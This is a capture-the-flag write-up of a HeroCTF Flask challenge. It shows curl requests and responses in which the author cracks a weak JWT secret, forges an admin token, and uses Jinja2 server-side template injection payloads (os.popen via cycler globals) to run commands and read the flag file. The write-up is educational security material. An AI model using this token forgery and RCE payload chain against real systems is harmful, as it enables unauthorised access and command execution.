Introduction#
One of your friends had an argument with a Flask developer. He tried to handle it on his own, but he ended up hitting a roadblock… Can you put your hacking skills to use and help him out?
You should probably be able to access the server hosting your target’s latest project, right? I heard they make a lot of programming mistakes…
Solution#
When we launch the challenge, we arrive at an error page that says:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
curl 'http://dyn-06.heroctf.fr:13825/' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET / HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:02:58 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 70
< Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww; Path=/
< Connection: close
<
* Closing connection 0
<h2>Invalid operation</h2><br><p>Example: /?op=substract&n1=5&n2=2</p>
|
On this request, we can see several things:
- The server is using
Werkzeug 2.3.4
and Python 3.10.6
.
- A cookie
token
is set with the value eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww
.
- The server tells us that we can perform operations with the
op
, n1
, and n2
parameters.
First Lead: Werkzeug#
Out of curiosity, let’s check if the debug console of Werkzeug
is enabled.
If it is enabled, then the /console
endpoint will be accessible, and we might potentially be able to execute Python code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
curl 'http://dyn-06.heroctf.fr:13825/console' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /console HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 404 NOT FOUND
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:06:20 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 84
< Connection: close
<
* Closing connection 0
<h2>/console was not found</h2><br><p>Only routes / and /adminPage are available</p>
|
We can see that the endpoint is not available, but we can see that the /adminPage
endpoint is accessible.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
curl 'http://dyn-06.heroctf.fr:13825/adminPage' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:06:49 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 22
< Connection: close
<
* Closing connection 0
<h2>Invalid token</h2>
|
We can access the endpoint, but we get a 403 FORBIDDEN
error with the message Invalid token
.
This means that the token
cookie used for authentication is invalid.
Second Lead: Session Token#
To proceed, let’s examine the content of the token
cookie to see what type of token is being used.
At first glance, the token format resembles a session token, such as a JSON Web Token (JWT), as it consists of 3 parts encoded in base64 and separated by .
.
To verify, let’s use the website jwt.io to decode the token.

The content of the JWT is:
1
2
3
|
{
"role": "guest"
}
|
The JWT header is:
1
2
3
4
|
{
"typ": "JWT",
"alg": "HS256"
}
|
My first thought was to test the usual JWT attacks, such as changing the algorithm to none
, but it didn’t work.
So, I thought of another possible attack on JWTs and realized that the token could simply be signed with a weak key.
To test this hypothesis, I used the tool jwt-cracker, which you can install with npm install --global jwt-cracker
.
1
2
3
4
|
C:\>jwt-cracker -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww
SECRET FOUND: key
Time taken (sec): 0.888
Attempts: 100000
|
Indeed, the key used to sign the JWT is key
.
With this secret, we can sign our own JWT with the role admin
and inject it into the token
cookie.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY
>
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:17:30 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 15
< Connection: close
<
* Closing connection 0
Welcome admin !
|
Yay! We are logged in as admin!
But… we don’t have the flag…
Third Lead: Injection / RCE#
Since we don’t have much information about the challenge and the console is disabled, we can assume that there is some kind of injection vulnerability.
The only moment in the challenge where I saw user input reflected in the server response is when accessing the /adminPage
endpoint with a valid identifier (Welcome admin!
) or an invalid one (Invalid token
).
I thought, maybe the server-side control is a simple comparison like this:
1
2
3
4
|
if role === "key":
return "Invalid token"
else:
return "Welcome " + role + "!"
|
If that’s the case, we can use an injection to execute arbitrary code.
To test this hypothesis, I used the following payload:
1
2
3
|
{
"role": "{{config}}"
}
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:23:37 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1145
< Connection: close
<
Sorry but you can't access this page, you're a '<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR&#* Closing connection 0
39;: None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>'
|
The injection works, so we can execute arbitrary code and try to retrieve the flag.
Retrieving the Flag#
By exploring a bit of SSTI Python on Hacktrickz, I found a payload that allows executing an RCE that is not dependent on the version of __builtins__
:
1
2
3
|
{
"role": "{{ cycler.__init__.__globals__.os.popen('ls').read() }}"
}
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:27:41 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 65
< Connection: close
<
Sorry but you can't access this page, you're a 'app.py
flag.txt
* Closing connection 0
'
|
There are two files in the current directory, app.py
and flag.txt
. So, we can retrieve the flag using the following payload:
1
2
3
|
{
"role": "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
}
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:29:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 77
< Connection: close
<
Sorry but you can't access this page, you're a 'Hero{sst1_fl4v0ur3d_c0Ok1e}
* Closing connection 0
'
|
Flag: Hero{sst1_fl4v0ur3d_c0Ok1e}
Tips & Tricks#
- Always check error pages, as they sometimes share valuable information.
- In a Python application, always try SSTI (Server-Side Template Injection) on fields returned by the server.
- Always check the HTTP response headers.
- In a Flask application, session tokens can be cracked, and they are not always Flask tokens (like in this case, a JWT).
- Running
jwt-cracker
on a JWT token can be very useful at the beginning of a CTF (Capture The Flag) if there is a weak secret.
- Try template injections in JWTs, as sometimes they can lead to SSTI (Server-Side Template Injection).